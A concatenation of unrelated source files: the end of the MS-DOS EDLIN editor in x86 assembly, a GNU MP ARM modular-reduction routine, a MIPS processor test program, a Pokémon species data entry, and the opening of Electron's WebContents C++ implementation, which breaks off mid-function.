CMP AL,CR
JE MRG2
CMP AL,";"
JE MRG2
STOSB
JMP SHORT MRG1
MRG2:
MOV BYTE PTR[DI],0
DEC SI
MOV [COMLINE],SI
;=========================================================================
; implement EXTENDED OPEN
;=========================================================================
push es ;an000;save reg.
mov bx,ext_read ;an000;open for read
mov cx,ATTR ;an000;file attributes
mov dx,OPEN_FLAG ;an000;action to take on open
mov di,0ffffh ;an000;null parm list
call EXT_OPEN3 ;an000;create file;DMS:6/10/87
pop es ;an000;restore reg.
;=========================================================================
JC NAMERR
MOV [MRG_HANDLE],AX
MOV AX,(SET_INTERRUPT_VECTOR SHL 8) OR 23H
MOV DX,OFFSET DG:ABORTMERGE
INT 21H
MOV BX,[PARAM1]
OR BX,BX
JNZ MRG
MOV BX,[CURRENT]
CALL CHKRANGE
MRG:
CALL FINDLIN
MOV BX,DX
MOV DX,[LAST_MEM]
CALL MOVEFILE
MOV DX,[POINTER]
MOV CX,[ENDTXT]
SUB CX,[POINTER]
PUSH CX
MOV BX,[MRG_HANDLE]
MOV AH,READ
INT 21H
POP DX
MOV CX,AX
CMP DX,CX
JA FILEMRG ; M005
mov ax,mrgerr
call display_message
MOV CX,[POINTER]
JMP SHORT RESTORE_Z
FILEMRG:
ADD CX,[POINTER]
MOV SI,CX
dec si
LODSB
CMP AL,1AH
JNZ RESTORE_Z
dec cx
RESTORE_Z:
MOV DI,CX
MOV SI,[ENDTXT]
INC SI
MOV CX,[LAST_MEM]
SUB CX,SI
inc cx ; remember ^Z
REP MOVSB
dec di ; unremember ^Z
MOV [ENDTXT],DI
MOV BX,[MRG_HANDLE]
MOV AH,CLOSE
INT 21H
return
PUBLIC INSERT
INSERT:
CMP ParamCt,1
JBE OKIns
JMP ComErr
OKIns:
MOV AX,(SET_INTERRUPT_VECTOR SHL 8) OR 23H ;Set vector 23H
MOV DX,OFFSET DG:ABORTINS
INT 21H
MOV BX,[PARAM1]
OR BX,BX
JNZ INS
MOV BX,[CURRENT]
CALL CHKRANGE
INS:
CALL FINDLIN
MOV BX,DX
MOV DX,[LAST_MEM]
CALL MOVEFILE
INLP:
CALL SETPTS ;Update the pointers into file
CALL SHOWNUM
MOV DX,OFFSET DG:EDITBUF
MOV AH,STD_CON_STRING_INPUT
INT 21H
CALL LF
MOV SI,2 + OFFSET DG:EDITBUF
CMP BYTE PTR [SI],1AH
JZ ENDINS
;-----------------------------------------------------------------------
call unquote ;scan for quote chars if any
;-----------------------------------------------------------------------
MOV CL,[SI-1]
MOV CH,0
MOV DX,DI
INC CX
ADD DX,CX
JC MEMERRJ1
JZ MEMERRJ1
CMP DX,BP
JB MEMOK
MEMERRJ1:
CALL END_INS
JMP MEMERR
MEMOK:
REP MOVSB
MOV AL,10
STOSB
INC BX
JMP SHORT INLP
ABORTMERGE:
MOV DX,OFFSET DG:START
MOV AH,SET_DMA
INT 21H
ABORTINS:
MOV AX,CS ;Restore segment registers
MOV DS,AX
MOV ES,AX
MOV AX,CSTACK
MOV SS,AX
MOV SP,STACK
STI
CALL CRLF
CALL ENDINS
JMP COMOVER
ENDINS:
CALL END_INS
return
END_INS:
MOV BP,[ENDTXT]
MOV DI,[POINTER]
MOV SI,BP
INC SI
MOV CX,[LAST_MEM]
SUB CX,BP
REP MOVSB
DEC DI
MOV [ENDTXT],DI
MOV AX,(SET_INTERRUPT_VECTOR SHL 8) OR 23H
MOV DX,OFFSET DG:ABORTCOM
INT 21H
return
FILLBUF:
MOV [PARAM1],-1 ;Read in max. no of lines
MOV ParamCt,1
CALL APPEND
MOV Param1,0
PUBLIC ENDED
ENDED:
;Write text out to .$$$ file
CMP ParamCt,1
JZ ENDED1
CERR: JMP ComErr
Ended1:
CMP Param1,0
JNZ Cerr
MOV BYTE PTR [ENDING],1 ;Suppress memory errors
MOV BX,-1 ;Write max. no of lines
CALL WRT
TEST BYTE PTR [HAVEOF],-1
JZ FILLBUF
MOV DX,[ENDTXT]
MOV CX,1
MOV BX,[WRT_HANDLE]
MOV AH,WRITE
INT 21H ;Write end-of-file byte
;Close input file ; MZ 11/30
; MZ 11/30
MOV BX,[RD_HANDLE] ; MZ 11/30
MOV AH,CLOSE ; MZ 11/30
INT 21H ; MZ 11/30
;Close .$$$ file
MOV BX,[WRT_HANDLE]
MOV AH,CLOSE
INT 21H
;Rename original file .BAK
MOV DI,[EXT_PTR]
MOV SI,OFFSET DG:BAK
MOVSW
MOVSW
MOVSB
MOV DX,OFFSET DG:PATH_NAME
MOV DI,OFFSET DG:TEMP_PATH
MOV AH,RENAME
INT 21H
MOV DI,[EXT_PTR]
MOV SI,OFFSET DG:$$$FILE
MOVSW
MOVSW
MOVSB
;Rename .$$$ file to original name
MOV DX,OFFSET DG:TEMP_PATH
MOV DI,OFFSET DG:PATH_NAME
MOV AH,RENAME
INT 21H
; mode
mov ah,exit
xor al,al
int 21h
;=========================================================================
; EDLIN_DISP_GET: This routine will give us the attributes of the
; current display, which are to be used to restore the screen
; back to its original state on exit from EDLIN. We also
; set the screen to a text mode here with an 80 X 25 color
; format.
;
; Inputs : VIDEO_GET - 0fH (get current video mode)
; VIDEO_SET - 00h (set video mode)
; VIDEO_TEXT- 03h (80 X 25 color mode)
;
; Outputs : VIDEO_ORG - Original video attributes on entry to EDLIN
;
;=========================================================================
EDLIN_DISP_GET proc near ;an000;video attributes
push ax ;an000;save affected regs.
push bx ;an000;
push cx ;an000;
push dx ;an000;
push si ;an000;
push ds ;an000;
push cs ;an000;exchange cs/ds
pop ds ;an000;
mov ax,440Ch ;an000;generic ioctl
mov bx,Std_Out ;an000;Console
mov cx,(Display_Attr shl 8) or Get_Display ;an000;get display
mov dx,offset dg:Video_Buffer ;an000;buffer for video attr.
int 21h ;an000;
; $if nc ;an000;function returned a
JC $$IF15
; buffer
mov si,dx ;an000;get pointer
mov ax,word ptr dg:[si].Display_Length_Char ;an000;get video len.
dec ax ;an000;allow room for message
mov dg:Disp_Len,al ;an000;put it into var.
mov ax,word ptr dg:[si].Display_Width_Char ;an000;get video width
mov dg:Disp_Width,al ;an000;put it into var.
; $else ;an000;function failed use
JMP SHORT $$EN15
$$IF15:
; default values
mov al,Def_Disp_Len ;an000;get default length
dec al ;an000;leave room for messages
mov dg:Disp_Len,al ;an000;use default length
mov dg:Disp_Width,Def_Disp_Width;an000;use default width
; $endif ;an000;
$$EN15:
pop ds ;an000;restore affected regs.
pop si ;an000;
pop dx ;an000;
pop cx ;an000;
pop bx ;an000;
pop ax ;an000;
ret ;an000;return to caller
EDLIN_DISP_GET endp ;an000;end proc.
;=========================================================================
; EXT_OPEN1 : This routine opens a file for read/write access. If the file
; if not present for opening the open will fail and return with a
; carry set.
;
; Inputs : BX - Open mode
; CX - File attributes
; DX - Open action
;
; Outputs: CY - If error
;
; Date : 6/10/87
;=========================================================================
EXT_OPEN1 proc near ;an000;open for R/W
assume ds:dg
push ds ;an000;save regs
push si ;an000;
mov ah,ExtOpen ;an000;extended open
mov al,0 ;an000;reserved by system
mov si,offset dg:path_name ;an000;point to PATH_NAME
int 21h ;an000;invoke function
pop si ;an000;restore regs
pop ds ;an000;
ret ;an000;return to caller
EXT_OPEN1 endp ;an000;end proc.
;=========================================================================
; EXT_OPEN2 : This routine will attempt to create a file for read/write
; access. If the files exists the create will fail and return
; with the carry set.
;
; Inputs : BX - Open mode
; CX - File attributes
; DX - Open action
;
; Outputs: CY - If error
;
; Date : 6/10/87
;=========================================================================
EXT_OPEN2 proc near ;an000;create a file
assume ds:dg
push ds ;an000;save regs
push si ;an000;
mov ah,ExtOpen ;an000;extended open
mov al,0 ;an000;reserved by system
mov si,offset dg:temp_path ;an000;point to TEMP_PATH
int 21h ;an000;invoke function
pop si ;an000;restore regs
pop ds ;an000;
ret ;an000;return to caller
EXT_OPEN2 endp ;an000;end proc.
;=========================================================================
; EXT_OPEN3 : This routine will attempt to create a file for read
; access. If the files exists the create will fail and return
; with the carry set.
;
; Inputs : BX - Open mode
; CX - File attributes
; DX - Open action
;
; Outputs: CY - If error
;
; Date : 6/10/87
;=========================================================================
EXT_OPEN3 proc near ;an000;create a file
assume ds:dg
push ds ;an000;save regs
push si ;an000;
mov ah,ExtOpen ;an000;extended open
mov al,0 ;an000;reserved by system
mov si,offset dg:mrg_path_name ;an000;point to mrg_path_name
int 21h ;an000;invoke function
pop si ;an000;restore regs
pop ds ;an000;
ret ;an000;return to caller
EXT_OPEN3 endp ;an000;end proc.
;=========================================================================
; EDLIN_COMMAND : This routine provides an interface between the new
; parser and the existing logic of EDLIN. We will be
; interfacing the parser with three existing variables.
;
; Inputs : FILESPEC - Filespec entered by the user and passed by
; the parser.
;
; PARSE_SWITCH_B - Contains the result of the parse for the
; /B switch. This is passed by the parser.
;
; Outputs: PATH_NAME - Filespec
; LOADMOD - Flag for /B switch
; FNAME_LEN - Length of filespec
;
; Date : 6/11/87
;=========================================================================
EDLIN_COMMAND proc near ;an000;interface parser
push ax ;an000;save regs.
push cx ;an000;
push di ;an000
push si ;an000;
mov si,offset dg:filespec ;an000;get its offset
mov di,offset dg:path_name ;an000;get its offset
mov cx,00h ;an000;cx will count filespec
; length
cmp parse_switch_b,true ;an000;do we have /B switch
; $if z ;an000;we have the switch
JNZ $$IF18
mov [LOADMOD],01h ;an000;signal switch found
; $endif ;an000
$$IF18:
; $do ;an000;while we have filespec
$$DO20:
lodsb ;an000;move byte to al
cmp al,nul ;an000;see if we are at
; the end of the
; filespec
; $leave e ;an000;exit while loop
JE $$EN20
stosb ;an000;move byte to path_name
inc cx ;an000;increment the length
; of the filespec
; $enddo ;an000;end do while
JMP SHORT $$DO20
$$EN20:
mov [FNAME_LEN],cx ;an000;save filespec's length
pop si ;an000; restore regs
pop di ;an000;
pop cx ;an000;
pop ax ;an000;
ret ;an000;return to caller
EDLIN_COMMAND endp ;an000;end proc
;=========================================================================
; Calc_Memory_Avail : This routine will calculate the memory
; available for use by EDLIN.
;
; Inputs : ORG_DS - DS of PSP
;
; Outputs : DX - paras available
;=========================================================================
Calc_Memory_Avail proc near ;an000; dms;
push ds ;save ds for size calc
push cx ;an000; dms;
push di ;an000; dms;
mov ds,cs:[org_ds]
MOV CX,DS:[2]
MOV DI,CS
SUB CX,DI
mov dx,cx ;an000; dms;put paras in DX
pop di ;an000; dms;
pop cx ;an000; dms;
pop ds ;an000; dms;
ret ;an000; dms;
Calc_Memory_Avail endp ;an000; dms;
;=========================================================================
; EA_Fail_Exit : This routine tells the user that there was
; Insufficient memory and exits EDLIN.
;
; Inputs : MemFul_Ptr - "Insufficient memory"
;
; Outputs : message
;=========================================================================
EA_Fail_Exit proc near ;an000; dms;
mov dx,offset dg:MemFul_Ptr ;an000; dms;"Insufficient
push cs ;an000; dms;xchange ds/cs
pop ds ;an000; dms;
; memory"
call Std_Printf ;an000; dms;print message
mov ah,exit ;an000; dms;exit
xor al,al ;an000; dms;clear al
int 21h ;an000; dms;
ret ;an000; dms;
EA_Fail_Exit endp ;an000; dms;
CODE ENDS
END EDLIN
|
dnl ARM mpn_mod_34lsub1 -- remainder modulo 2^24-1.
dnl Copyright 2012, 2013 Free Software Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of either:
dnl
dnl * the GNU Lesser General Public License as published by the Free
dnl Software Foundation; either version 3 of the License, or (at your
dnl option) any later version.
dnl
dnl or
dnl
dnl * the GNU General Public License as published by the Free Software
dnl Foundation; either version 2 of the License, or (at your option) any
dnl later version.
dnl
dnl or both in parallel, as here.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
dnl for more details.
dnl
dnl You should have received copies of the GNU General Public License and the
dnl GNU Lesser General Public License along with the GNU MP Library. If not,
dnl see https://www.gnu.org/licenses/.
include(`../config.m4')
C cycles/limb
C StrongARM ?
C XScale ?
C Cortex-A5 2.67
C Cortex-A7 2.35
C Cortex-A8 2.0
C Cortex-A9 1.33
C Cortex-A15 1.33
C Cortex-A17 3.34
C Cortex-A53 2.0
define(`ap', r0)
define(`n', r1)
C mp_limb_t mpn_mod_34lsub1 (mp_srcptr up, mp_size_t n)
C TODO
C * Write cleverer summation code.
C * Consider loading 6 64-bit aligned registers at a time, to approach 1 c/l.
ASM_START()
TEXT
ALIGN(32)
PROLOGUE(mpn_mod_34lsub1)
push { r4, r5, r6, r7 }
subs n, n, #3
mov r7, #0
blt L(le2) C n <= 2
ldmia ap!, { r2, r3, r12 }
subs n, n, #3
blt L(sum) C n <= 5
cmn r0, #0 C clear carry
sub n, n, #3
b L(mid)
L(top): adcs r2, r2, r4
adcs r3, r3, r5
adcs r12, r12, r6
L(mid): ldmia ap!, { r4, r5, r6 }
tst n, n
sub n, n, #3
bpl L(top)
add n, n, #3
adcs r2, r2, r4
adcs r3, r3, r5
adcs r12, r12, r6
movcs r7, #1 C r7 <= 1
L(sum): cmn n, #2
movlo r4, #0
ldrhs r4, [ap], #4
movls r5, #0
ldrhi r5, [ap], #4
adds r2, r2, r4
adcs r3, r3, r5
adcs r12, r12, #0
adc r7, r7, #0 C r7 <= 2
L(sum2):
bic r0, r2, #0xff000000
add r0, r0, r2, lsr #24
add r0, r0, r7
mov r7, r3, lsl #8
bic r1, r7, #0xff000000
add r0, r0, r1
add r0, r0, r3, lsr #16
mov r7, r12, lsl #16
bic r1, r7, #0xff000000
add r0, r0, r1
add r0, r0, r12, lsr #8
pop { r4, r5, r6, r7 }
return lr
L(le2): cmn n, #1
bne L(1)
ldmia ap!, { r2, r3 }
mov r12, #0
b L(sum2)
L(1): ldr r2, [ap]
bic r0, r2, #0xff000000
add r0, r0, r2, lsr #24
pop { r4, r5, r6, r7 }
return lr
EPILOGUE()
|
# mipstest.asm
# David_Harris@hmc.edu 9 November 2005
#
# Test the MIPS processor.
# add, sub, and, or, slt, addi, lw, sw, beq, j
# If successful, it should write the value 7 to address 84
# Assembly Description Address Machine
main: addi $2, $0, 5 # initialize $2 = 5 0 20020005
addi $3, $0, 12 # initialize $3 = 12 4 2003000c
addi $7, $3, -9 # initialize $7 = 3 8 2067fff7
or $4, $7, $2 # $4 <= 3 or 5 = 7 c 00e22025
and $5, $3, $4 # $5 <= 12 and 7 = 4 10 00642824
add $5, $5, $4 # $5 = 4 + 7 = 11 14 00a42820
beq $5, $7, end # shouldn’t be taken 18 10a7000a
slt $4, $3, $4 # $4 = 12 < 7 = 0 1c 0064202a
beq $4, $0, around # should be taken 20 10800001
addi $5, $0, 0 # shouldn’t happen 24 20050000
around: slt $4, $7, $2 # $4 = 3 < 5 = 1 28 00e2202a
add $7, $4, $5 # $7 = 1 + 11 = 12 2c 00853820
sub $7, $7, $2 # $7 = 12 - 5 = 7 30 00e23822
sw $7, 68($3) # [80] = 7 34 ac670044
lw $2, 80($0) # $2 = [80] = 7 38 8c020050
j end # should be taken 3c 08000011
addi $2, $0, 1 # shouldn’t happen 40 20020001
end: sw $2, 84($0) # write adr 84 = 7 44 ac020054
|
db 0 ; species ID placeholder
db 60, 25, 35, 60, 70, 80
; hp atk def spd sat sdf
db PSYCHIC, PSYCHIC ; type
db 255 ; catch rate
db 89 ; base exp
db NO_ITEM, BERRY ; items
db GENDER_F50 ; gender ratio
db 20 ; step cycles to hatch
INCBIN "gfx/pokemon/spoink/front.dimensions"
db GROWTH_FAST ; growth rate
dn EGG_GROUND, EGG_GROUND ; egg groups
db 70 ; happiness
; tm/hm learnset
tmhm CALM_MIND, TOXIC, HIDDEN_POWER, SUNNY_DAY, TAUNT, LIGHT_SCREEN, PROTECT, RAIN_DANCE, FRUSTRATION, IRON_TAIL, RETURN, PSYCHIC_M, SHADOW_BALL, DOUBLE_TEAM, REFLECT, SHOCK_WAVE, TORMENT, FACADE, SECRET_POWER, REST, ATTRACT, THIEF, SKILL_SWAP, SNATCH, CHARGE_BEAM, ENDURE, PAYBACK, RECYCLE, FLASH, THUNDER_WAVE, PSYCH_UP, CAPTIVATE, SLEEP_TALK, NATURAL_GIFT, DREAM_EATER, GRASS_KNOT, SWAGGER, SUBSTITUTE, TRICK_ROOM, BOUNCE, ICY_WIND, SIGNAL_BEAM, SNORE, SWIFT, TRICK, ZEN_HEADBUTT
; end
|
// Copyright (c) 2014 GitHub, Inc.
// Use of this source code is governed by the MIT license that can be
// found in the LICENSE file.
#include "atom/browser/api/atom_api_web_contents.h"
#include <set>
#include <string>
#include "atom/browser/api/atom_api_browser_window.h"
#include "atom/browser/api/atom_api_debugger.h"
#include "atom/browser/api/atom_api_session.h"
#include "atom/browser/atom_browser_client.h"
#include "atom/browser/atom_browser_context.h"
#include "atom/browser/atom_browser_main_parts.h"
#include "atom/browser/atom_javascript_dialog_manager.h"
#include "atom/browser/child_web_contents_tracker.h"
#include "atom/browser/lib/bluetooth_chooser.h"
#include "atom/browser/native_window.h"
#include "atom/browser/net/atom_network_delegate.h"
#if defined(ENABLE_OSR)
#include "atom/browser/osr/osr_output_device.h"
#include "atom/browser/osr/osr_render_widget_host_view.h"
#include "atom/browser/osr/osr_web_contents_view.h"
#endif
#include "atom/browser/ui/drag_util.h"
#include "atom/browser/web_contents_permission_helper.h"
#include "atom/browser/web_contents_preferences.h"
#include "atom/browser/web_contents_zoom_controller.h"
#include "atom/browser/web_view_guest_delegate.h"
#include "atom/common/api/api_messages.h"
#include "atom/common/api/event_emitter_caller.h"
#include "atom/common/color_util.h"
#include "atom/common/mouse_util.h"
#include "atom/common/native_mate_converters/blink_converter.h"
#include "atom/common/native_mate_converters/callback.h"
#include "atom/common/native_mate_converters/content_converter.h"
#include "atom/common/native_mate_converters/file_path_converter.h"
#include "atom/common/native_mate_converters/gfx_converter.h"
#include "atom/common/native_mate_converters/gurl_converter.h"
#include "atom/common/native_mate_converters/image_converter.h"
#include "atom/common/native_mate_converters/net_converter.h"
#include "atom/common/native_mate_converters/string16_converter.h"
#include "atom/common/native_mate_converters/value_converter.h"
#include "atom/common/options_switches.h"
#include "base/message_loop/message_loop.h"
#include "base/process/process_handle.h"
#include "base/strings/utf_string_conversions.h"
#include "base/threading/thread_task_runner_handle.h"
#include "base/values.h"
#include "brightray/browser/inspectable_web_contents.h"
#include "brightray/browser/inspectable_web_contents_view.h"
#include "chrome/browser/printing/print_preview_message_handler.h"
#include "chrome/browser/printing/print_view_manager_basic.h"
#include "chrome/browser/ssl/security_state_tab_helper.h"
#include "content/browser/renderer_host/render_widget_host_impl.h"
#include "content/browser/renderer_host/render_widget_host_view_base.h"
#include "content/browser/web_contents/web_contents_impl.h"
#include "content/common/view_messages.h"
#include "content/public/browser/child_process_security_policy.h"
#include "content/public/browser/favicon_status.h"
#include "content/public/browser/native_web_keyboard_event.h"
#include "content/public/browser/navigation_details.h"
#include "content/public/browser/navigation_entry.h"
#include "content/public/browser/navigation_handle.h"
#include "content/public/browser/plugin_service.h"
#include "content/public/browser/render_frame_host.h"
#include "content/public/browser/render_process_host.h"
#include "content/public/browser/render_view_host.h"
#include "content/public/browser/render_widget_host.h"
#include "content/public/browser/render_widget_host_view.h"
#include "content/public/browser/resource_request_details.h"
#include "content/public/browser/service_worker_context.h"
#include "content/public/browser/site_instance.h"
#include "content/public/browser/storage_partition.h"
#include "content/public/browser/web_contents.h"
#include "content/public/common/context_menu_params.h"
#include "native_mate/converter.h"
#include "native_mate/dictionary.h"
#include "native_mate/object_template_builder.h"
#include "net/url_request/url_request_context.h"
#include "third_party/WebKit/public/platform/WebInputEvent.h"
#include "third_party/WebKit/public/web/WebFindOptions.h"
#include "ui/display/screen.h"
#include "ui/events/base_event_utils.h"
#include "ui/latency/latency_info.h"
#if !defined(OS_MACOSX)
#include "ui/aura/window.h"
#endif
#if defined(OS_LINUX) || defined(OS_WIN)
#include "content/public/common/renderer_preferences.h"
#include "ui/gfx/font_render_params.h"
#endif
#include "atom/common/node_includes.h"
namespace {
struct PrintSettings {
bool silent;
bool print_background;
base::string16 device_name;
};
} // namespace
namespace mate {
template<>
struct Converter<atom::SetSizeParams> {
static bool FromV8(v8::Isolate* isolate,
v8::Local<v8::Value> val,
atom::SetSizeParams* out) {
mate::Dictionary params;
if (!ConvertFromV8(isolate, val, ¶ms))
return false;
bool autosize;
if (params.Get("enableAutoSize", &autosize))
out->enable_auto_size.reset(new bool(true));
gfx::Size size;
if (params.Get("min", &size))
out->min_size.reset(new gfx::Size(size));
if (params.Get("max", &size))
out->max_size.reset(new gfx::Size(size));
if (params.Get("normal", &size))
out->normal_size.reset(new gfx::Size(size));
return true;
}
};
template<>
struct Converter<PrintSettings> {
static bool FromV8(v8::Isolate* isolate, v8::Local<v8::Value> val,
PrintSettings* out) {
mate::Dictionary dict;
if (!ConvertFromV8(isolate, val, &dict))
return false;
dict.Get("silent", &(out->silent));
dict.Get("printBackground", &(out->print_background));
dict.Get("deviceName", &(out->device_name));
return true;
}
};
template<>
struct Converter<printing::PrinterBasicInfo> {
static v8::Local<v8::Value> ToV8(v8::Isolate* isolate,
const printing::PrinterBasicInfo& val) {
mate::Dictionary dict(isolate, v8::Object::New(isolate));
dict.Set("name", val.printer_name);
dict.Set("description", val.printer_description);
dict.Set("status", val.printer_status);
dict.Set("isDefault", val.is_default ? true : false);
dict.Set("options", val.options);
return dict.GetHandle();
}
};
template<>
struct Converter<WindowOpenDisposition> {
static v8::Local<v8::Value> ToV8(v8::Isolate* isolate,
WindowOpenDisposition val) {
std::string disposition = "other";
switch (val) {
case WindowOpenDisposition::CURRENT_TAB:
disposition = "default";
break;
case WindowOpenDisposition::NEW_FOREGROUND_TAB:
disposition = "foreground-tab";
break;
case WindowOpenDisposition::NEW_BACKGROUND_TAB:
disposition = "background-tab";
break;
case WindowOpenDisposition::NEW_POPUP:
case WindowOpenDisposition::NEW_WINDOW:
disposition = "new-window";
break;
case WindowOpenDisposition::SAVE_TO_DISK:
disposition = "save-to-disk";
break;
default:
break;
}
return mate::ConvertToV8(isolate, disposition);
}
};
template<>
struct Converter<content::SavePageType> {
static bool FromV8(v8::Isolate* isolate, v8::Local<v8::Value> val,
content::SavePageType* out) {
std::string save_type;
if (!ConvertFromV8(isolate, val, &save_type))
return false;
save_type = base::ToLowerASCII(save_type);
if (save_type == "htmlonly") {
*out = content::SAVE_PAGE_TYPE_AS_ONLY_HTML;
} else if (save_type == "htmlcomplete") {
*out = content::SAVE_PAGE_TYPE_AS_COMPLETE_HTML;
} else if (save_type == "mhtml") {
*out = content::SAVE_PAGE_TYPE_AS_MHTML;
} else {
return false;
}
return true;
}
};
template<>
struct Converter<atom::api::WebContents::Type> {
static v8::Local<v8::Value> ToV8(v8::Isolate* isolate,
atom::api::WebContents::Type val) {
using Type = atom::api::WebContents::Type;
std::string type = "";
switch (val) {
case Type::BACKGROUND_PAGE: type = "backgroundPage"; break;
case Type::BROWSER_WINDOW: type = "window"; break;
case Type::BROWSER_VIEW: type = "browserView"; break;
case Type::REMOTE: type = "remote"; break;
case Type::WEB_VIEW: type = "webview"; break;
case Type::OFF_SCREEN: type = "offscreen"; break;
default: break;
}
return mate::ConvertToV8(isolate, type);
}
static bool FromV8(v8::Isolate* isolate, v8::Local<v8::Value> val,
atom::api::WebContents::Type* out) {
using Type = atom::api::WebContents::Type;
std::string type;
if (!ConvertFromV8(isolate, val, &type))
return false;
if (type == "backgroundPage") {
*out = Type::BACKGROUND_PAGE;
} else if (type == "browserView") {
*out = Type::BROWSER_VIEW;
} else if (type == "webview") {
*out = Type::WEB_VIEW;
#if defined(ENABLE_OSR)
} else if (type == "offscreen") {
*out = Type::OFF_SCREEN;
#endif
} else {
return false;
}
return true;
}
};
} // namespace mate
namespace atom {
namespace api {
namespace {
content::ServiceWorkerContext* GetServiceWorkerContext(
const content::WebContents* web_contents) {
auto context = web_contents->GetBrowserContext();
auto site_instance = web_contents->GetSiteInstance();
if (!context || !site_instance)
return nullptr;
auto storage_partition =
content::BrowserContext::GetStoragePartition(context, site_instance);
if (!storage_partition)
return nullptr;
return storage_partition->GetServiceWorkerContext();
}
// Called when CapturePage is done.
void OnCapturePageDone(const base::Callback<void(const gfx::Image&)>& callback,
const SkBitmap& bitmap,
content::ReadbackResponse response) {
callback.Run(gfx::Image::CreateFrom1xBitmap(bitmap));
}
} // namespace
struct WebContents::FrameDispatchHelper {
WebContents* api_web_contents;
content::RenderFrameHost* rfh;
bool Send(IPC::Message* msg) { return rfh->Send(msg); }
void OnSetTemporaryZoomLevel(double level, IPC::Message* reply_msg) {
api_web_contents->OnSetTemporaryZoomLevel(rfh, level, reply_msg);
}
void OnGetZoomLevel(IPC::Message* reply_msg) {
api_web_contents->OnGetZoomLevel(rfh, reply_msg);
}
void OnRendererMessageSync(const base::string16& channel,
const base::ListValue& args,
IPC::Message* message) {
api_web_contents->OnRendererMessageSync(rfh, channel, args, message);
}
};
WebContents::WebContents(v8::Isolate* isolate,
content::WebContents* web_contents,
Type type)
: content::WebContentsObserver(web_contents),
embedder_(nullptr),
zoom_controller_(nullptr),
type_(type),
request_id_(0),
background_throttling_(true),
enable_devtools_(true) {
const mate::Dictionary options = mate::Dictionary::CreateEmpty(isolate);
if (type == REMOTE) {
web_contents->SetUserAgentOverride(GetBrowserContext()->GetUserAgent());
Init(isolate);
AttachAsUserData(web_contents);
InitZoomController(web_contents, options);
} else {
auto session = Session::CreateFrom(isolate, GetBrowserContext());
session_.Reset(isolate, session.ToV8());
InitWithSessionAndOptions(isolate, web_contents, session, options);
}
}
WebContents::WebContents(v8::Isolate* isolate, const mate::Dictionary& options)
: embedder_(nullptr),
zoom_controller_(nullptr),
type_(BROWSER_WINDOW),
request_id_(0),
background_throttling_(true),
enable_devtools_(true) {
// WebContents may need to emit events when it is garbage collected, so it
// has to be deleted in the first gc callback.
MarkHighMemoryUsage();
// Read options.
options.Get("backgroundThrottling", &background_throttling_);
// FIXME(zcbenz): We should read "type" parameter for better design, but
// on Windows we have encountered a compiler bug that if we read "type"
// from |options| and then set |type_|, a memory corruption will happen
// and Electron will soon crash.
// Remvoe this after we upgraded to use VS 2015 Update 3.
bool b = false;
if (options.Get("isGuest", &b) && b)
type_ = WEB_VIEW;
else if (options.Get("isBackgroundPage", &b) && b)
type_ = BACKGROUND_PAGE;
else if (options.Get("isBrowserView", &b) && b)
type_ = BROWSER_VIEW;
#if defined(ENABLE_OSR)
else if (options.Get("offscreen", &b) && b)
type_ = OFF_SCREEN;
#endif
// Init embedder earlier
options.Get("embedder", &embedder_);
// Whether to enable DevTools.
options.Get("devTools", &enable_devtools_);
// Obtain the session.
std::string partition;
mate::Handle<api::Session> session;
if (options.Get("session", &session) && !session.IsEmpty()) {
} else if (options.Get("partition", &partition)) {
session = Session::FromPartition(isolate, partition);
} else {
// Use the default session if not specified.
session = Session::FromPartition(isolate, "");
}
session_.Reset(isolate, session.ToV8());
content::WebContents* web_contents;
if (IsGuest()) {
scoped_refptr<content::SiteInstance> site_instance =
content::SiteInstance::CreateForURL(
session->browser_context(), GURL("chrome-guest://fake-host"));
content::WebContents::CreateParams params(
session->browser_context(), site_instance);
guest_delegate_.reset(new WebViewGuestDelegate);
params.guest_delegate = guest_delegate_.get();
#if defined(ENABLE_OSR)
if (embedder_ && embedder_->IsOffScreen()) {
auto* view = new OffScreenWebContentsView(false,
base::Bind(&WebContents::OnPaint, base::Unretained(this)));
params.view = view;
params.delegate_view = view;
web_contents = content::WebContents::Create(params);
view->SetWebContents(web_contents);
} else {
#endif
web_contents = content::WebContents::Create(params);
#if defined(ENABLE_OSR)
}
} else if (IsOffScreen()) {
bool transparent = false;
options.Get("transparent", &transparent);
content::WebContents::CreateParams params(session->browser_context());
auto* view = new OffScreenWebContentsView(transparent,
base::Bind(&WebContents::OnPaint, base::Unretained(this)));
params.view = view;
params.delegate_view = view;
web_contents = content::WebContents::Create(params);
view->SetWebContents(web_contents);
#endif
} else {
content::WebContents::CreateParams params(session->browser_context());
web_contents = content::WebContents::Create(params);
}
InitWithSessionAndOptions(isolate, web_contents, session, options);
}
void WebContents::InitZoomController(content::WebContents* web_contents,
const mate::Dictionary& options) {
WebContentsZoomController::CreateForWebContents(web_contents);
zoom_controller_ = WebContentsZoomController::FromWebContents(web_contents);
double zoom_factor;
if (options.Get(options::kZoomFactor, &zoom_factor))
zoom_controller_->SetDefaultZoomFactor(zoom_factor);
}
void WebContents::InitWithSessionAndOptions(v8::Isolate* isolate,
content::WebContents *web_contents,
mate::Handle<api::Session> session,
const mate::Dictionary& options) {
Observe(web_contents);
InitWithWebContents(web_contents, session->browser_context());
managed_web_contents()->GetView()->SetDelegate(this);
#if defined(OS_LINUX) || defined(OS_WIN)
// Update font settings.
auto* prefs = web_contents->GetMutableRendererPrefs();
CR_DEFINE_STATIC_LOCAL(const gfx::FontRenderParams, params,
(gfx::GetFontRenderParams(gfx::FontRenderParamsQuery(), nullptr)));
prefs->should_antialias_text = params.antialiasing;
prefs->use_subpixel_positioning = params.subpixel_positioning;
prefs->hinting = params.hinting;
prefs->use_autohinter = params.autohinter;
prefs->use_bitmaps = params.use_bitmaps;
prefs->subpixel_rendering = params.subpixel_rendering;
#endif
// Save the preferences in C++.
new WebContentsPreferences(web_contents, options);
// Initialize permission helper.
WebContentsPermissionHelper::CreateForWebContents(web_contents);
// Initialize security state client.
SecurityStateTabHelper::CreateForWebContents(web_contents);
// Initialize zoom controller.
InitZoomController(web_contents, options);
web_contents->SetUserAgentOverride(GetBrowserContext()->GetUserAgent());
if (IsGuest()) {
guest_delegate_->Initialize(this);
NativeWindow* owner_window = nullptr;
if (embedder_) {
// New WebContents's owner_window is the embedder's owner_window.
auto relay =
NativeWindowRelay::FromWebContents(embedder_->web_contents());
if (relay)
owner_window = relay->window.get();
}
